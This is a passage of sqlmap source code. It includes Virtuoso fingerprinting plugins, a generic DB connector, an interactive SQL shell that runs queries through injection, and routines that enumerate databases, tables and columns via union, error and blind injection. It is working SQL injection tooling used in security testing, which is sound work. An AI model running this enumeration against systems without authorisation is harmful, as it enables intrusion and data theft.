Virtuoso search option is not available" logger.warning(warnMsg) def getStatements(self): warnMsg = "on Virtuoso it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/virtuoso/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on Virtuoso it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Virtuoso it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/virtuoso/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import VIRTUOSO_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.VIRTUOSO) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.VIRTUOSO return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(VIRTUOSO_ALIASES): setDbms(DBMS.VIRTUOSO) return True infoMsg = "testing %s" % DBMS.VIRTUOSO logger.info(infoMsg) result = inject.checkBooleanExpression("GET_KEYWORD(NULL,NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.VIRTUOSO logger.info(infoMsg) result = inject.checkBooleanExpression("RDF_NOW_IMPL() IS NOT NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.VIRTUOSO logger.warning(warnMsg) return False setDbms(DBMS.VIRTUOSO) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.VIRTUOSO logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/virtuoso/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True """ def escaper(value): return "||".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/virtuoso/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Virtuoso it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Virtuoso it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Virtuoso it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Virtuoso it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/generic/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: plugins/generic/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUndefinedMethod class Connector(object): """ This class defines generic dbms protocol functionalities for plugins. """ def __init__(self): self.connector = None self.cursor = None self.hostname = None def initConnection(self): self.user = conf.dbmsUser or "" self.password = conf.dbmsPass or "" self.hostname = conf.hostname self.port = conf.port self.db = conf.dbmsDb def printConnected(self): if self.hostname and self.port: infoMsg = "connection to %s server '%s:%d' established" % (conf.dbms, self.hostname, self.port) logger.info(infoMsg) def closed(self): if self.hostname and self.port: infoMsg = "connection to %s server '%s:%d' closed" % (conf.dbms, self.hostname, self.port) logger.info(infoMsg) self.connector = None self.cursor = None def initCursor(self): self.cursor = self.connector.cursor() def close(self): try: if self.cursor: self.cursor.close() if self.connector: self.connector.close() except Exception as ex: logger.debug(ex) finally: self.closed() def checkFileDb(self): if not os.path.exists(self.db): errMsg = "the provided database file '%s' does not exist" % self.db raise SqlmapFilePathException(errMsg) def connect(self): errMsg = "'connect' method must be defined " errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def fetchall(self): errMsg = "'fetchall' method must be defined " errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def execute(self, query): errMsg = "'execute' method must be defined " errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def select(self, query): errMsg = "'select' method must be defined " errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) ================================================ FILE: plugins/generic/custom.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import re import sys from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet from lib.core.common import isListLike from lib.core.common import isStackingAvailable from lib.core.common import joinValue from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS from lib.core.exception import SqlmapNoneDataException from lib.core.settings import METADB_SUFFIX from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.shell import autoCompletion from lib.request import inject from thirdparty.six.moves import input as _input class Custom(object): """ This class defines custom enumeration functionalities for plugins. """ def __init__(self): pass def sqlQuery(self, query): output = None sqlType = None query = query.rstrip(';') try: for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement): sqlType = sqlTitle break if not re.search(r"\b(OPENROWSET|INTO)\b", query, re.I) and (not sqlType or "SELECT" in sqlType): infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL): match = re.search(r"(\bFROM\s+)([^\s]+)", query, re.I) if match and match.group(2).count('.') == 1: query = query.replace(match.group(0), "%s%s" % (match.group(1), match.group(2).replace('.', ".dbo."))) query = re.sub(r"(?i)\w+%s\.?" % METADB_SUFFIX, "", query) output = inject.getValue(query, fromUser=True) if sqlType and "SELECT" in sqlType and isListLike(output): for i in xrange(len(output)): if isListLike(output[i]): output[i] = joinValue(output[i]) return output elif not isStackingAvailable() and not conf.direct: warnMsg = "execution of non-query SQL statements is only " warnMsg += "available when stacked queries are supported" logger.warning(warnMsg) return None else: if sqlType: infoMsg = "executing %s statement: '%s'" % (sqlType if sqlType is not None else "SQL", query) else: infoMsg = "executing unknown SQL command: '%s'" % query logger.info(infoMsg) inject.goStacked(query) output = NULL except SqlmapNoneDataException as ex: logger.warning(ex) return output def sqlShell(self): infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms() infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) autoCompletion(AUTOCOMPLETE_TYPE.SQL) while True: query = None try: query = _input("sql-shell> ") query = getUnicode(query, encoding=sys.stdin.encoding) query = query.strip("; ") except UnicodeDecodeError: print() errMsg = "invalid user input" logger.error(errMsg) except KeyboardInterrupt: print() errMsg = "user aborted" logger.error(errMsg) except EOFError: print() errMsg = "exit" logger.error(errMsg) break if not query: continue if query.lower() in ("x", "q", "exit", "quit"): break output = self.sqlQuery(query) if output and output != "Quit": conf.dumper.sqlQuery(query, output) elif not output: pass elif output != "Quit": dataToStdout("No output\n") def sqlFile(self): infoMsg = "executing SQL statements from given file(s)" logger.info(infoMsg) for filename in re.split(PARAMETER_SPLITTING_REGEX, conf.sqlFile): filename = filename.strip() if not filename: continue snippet = getSQLSnippet(Backend.getDbms(), filename) if snippet and all(query.strip().upper().startswith("SELECT") for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _)): for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _): query = query.strip() if query: conf.dumper.sqlQuery(query, self.sqlQuery(query)) else: conf.dumper.sqlQuery(snippet, self.sqlQuery(snippet)) ================================================ FILE: plugins/generic/databases.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterNone from lib.core.common import filterPairValues from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parseSqliteTableSchema from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.decorators import stackedmethod from lib.core.dicts import ALTIBASE_TYPES from lib.core.dicts import FIREBIRD_TYPES from lib.core.dicts import INFORMIX_TYPES from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import FORK from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.core.settings import PLUS_ONE_DBMSES from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import UPPER_CASE_DBMSES from lib.core.settings import VERTICA_DEFAULT_SCHEMA from lib.request import inject from lib.utils.brute import columnExists from lib.utils.brute import tableExists from thirdparty import six class Databases(object): """ This class defines databases' enumeration functionalities for plugins. """ def __init__(self): kb.data.currentDb = "" kb.data.cachedDbs = [] kb.data.cachedTables = {} kb.data.cachedColumns = {} kb.data.cachedCounts = {} kb.data.dumpedTable = {} kb.data.cachedStatements = [] def getCurrentDb(self): infoMsg = "fetching current database" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_db.query if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): kb.data.currentDb = VERTICA_DEFAULT_SCHEMA if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" singleTimeWarnMessage(warnMsg) elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "user names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" singleTimeWarnMessage(warnMsg) return kb.data.currentDb def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = None if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" logger.warning(warnMsg) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE, DBMS.SPANNER): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" logger.warning(warnMsg) infoMsg = "fetching database (schema) names" elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): warnMsg = "user names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" logger.warning(warnMsg) infoMsg = "fetching database (user) names" else: infoMsg = "fetching database names" if infoMsg: logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedDbs = arrayizeValue(values) if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of databases" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index db = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(db): kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db)) if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) else: blinds = (True,) for blind in blinds: count = 0 kb.data.cachedDbs = [] while True: query = rootQuery.inband.query2 % count value = unArrayizeValue(inject.getValue(query, blind=blind)) if not (value or "").strip(): break else: kb.data.cachedDbs.append(value) count += 1 if kb.data.cachedDbs: break if not kb.data.cachedDbs: infoMsg = "falling back to current database" logger.info(infoMsg) self.getCurrentDb() if kb.data.currentDb: kb.data.cachedDbs = [kb.data.currentDb] else: errMsg = "unable to retrieve the database names" raise SqlmapNoneDataException(errMsg) else: kb.data.cachedDbs.sort() if kb.data.cachedDbs: kb.data.cachedDbs = [_ for _ in set(flattenValue(kb.data.cachedDbs)) if _] return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5.0" logger.warning(warnMsg) bruteForce = True elif Backend.getIdentifiedDbms() in (DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): bruteForce = True elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,): try: tables = self.getTables(False) except SqlmapNoneDataException: tables = None if not tables: warnMsg = "cannot retrieve table names, " warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() logger.warning(warnMsg) bruteForce = True else: return tables if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if conf.db: dbs = conf.db.split(',') else: dbs = self.getDbs() dbs = [_ for _ in dbs if _ and _.strip()] for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) if bruteForce: resumeAvailable = False for db, table in kb.brute.tables: if db == conf.db: resumeAvailable = True break if resumeAvailable and not conf.freshQueries: for db, table in kb.brute.tables: if db == conf.db: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [table] else: kb.data.cachedTables[conf.db].append(table) return kb.data.cachedTables message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return tableExists(paths.COMMON_TABLES) infoMsg = "fetching tables for database" infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: values = [] for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))): if not isNoneValue(values) or not query: break if condition: if not Backend.isDbms(DBMS.SQLITE): query += " WHERE %s" % condition if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) else: query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) if len(dbs) < 2 and ("%s," % condition) in query: query = query.replace("%s," % condition, "", 1) if Backend.isDbms(DBMS.SPANNER): query = query.replace("IN ('default')", "IN ('')") if query: values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = [_ for _ in arrayizeValue(values) if _] if len(values) > 0 and not isListLike(values[0]): values = [(dbs[0], _) for _ in values] for db, table in filterPairValues(values): table = unArrayizeValue(table) if not isNoneValue(table): db = safeSQLIdentificatorNaming(db) table = safeSQLIdentificatorNaming(table, True).strip() if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for table '%s'" % (comment, unsafeSQLIdentificatorNaming(table)) if METADB_SUFFIX not in db: infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get table comments" singleTimeWarnMessage(warnMsg) if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) continue if conf.exclude and re.search(conf.exclude, db, re.I) is not None: infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db) singleTimeLogMessage(infoMsg) continue for _query, _count in ((rootQuery.blind.query, rootQuery.blind.count), (getattr(rootQuery.blind, "query2", None), getattr(rootQuery.blind, "count2", None))): if _query is None: break infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.SPANNER,): query = _count % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db)) elif Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): query = _count % unsafeSQLIdentificatorNaming(db) else: query = _count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db) warnMsg += "appears to be empty" logger.warning(warnMsg) break elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db) singleTimeWarnMessage(warnMsg) continue tables = [] plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = _query % index elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): query = _query % (index, unsafeSQLIdentificatorNaming(db)) elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,): query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index) else: query = _query % (unsafeSQLIdentificatorNaming(db), index) table = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables if conf.getComments: for table in tables: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for table '%s'" % (comment, unsafeSQLIdentificatorNaming(table)) if METADB_SUFFIX not in db: infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get table comments" singleTimeWarnMessage(warnMsg) break else: warnMsg = "unable to retrieve the table names " warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warning(warnMsg) if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() if not kb.data.cachedTables: errMsg = "unable to retrieve the table names for any database" if bruteForce is None: logger.error(errMsg) return self.getTables(bruteForce=True) elif not conf.search: raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables if kb.data.cachedTables: for db in kb.data.cachedTables: kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db])) return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warning(warnMsg) conf.db = self.getCurrentDb() if not conf.db: errMsg = "unable to retrieve the current " errMsg += "database name" raise SqlmapNoneDataException(errMsg) elif conf.db is not None: if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.col = conf.col.upper() colList = conf.col.split(',') else: colList = [] if conf.exclude: colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList = [_ for _ in colList if _] if conf.tbl: if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: tblList = list(six.itervalues(kb.data.cachedTables)) if tblList and isListLike(tblList[0]): tblList = tblList[0] tblList = list(tblList) elif not conf.search: errMsg = "unable to retrieve the tables" if METADB_SUFFIX not in conf.db: errMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) else: return kb.data.cachedColumns if conf.exclude: tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None] tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList) if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5.0" logger.warning(warnMsg) bruteForce = True elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): warnMsg = "cannot retrieve column names, " warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) bruteForce = True if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not (conf.freshQueries and not colList): columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} return kb.data.cachedColumns if kb.choices.columnExists is None: message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") kb.choices.columnExists = readInput(message, default='Y' if 'Y' in message else 'N').upper() if kb.choices.columnExists == 'N': if dumpMode and colList: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): dict((_, None) for _ in colList)} return kb.data.cachedColumns else: return None elif kb.choices.columnExists == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched table columns from " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), 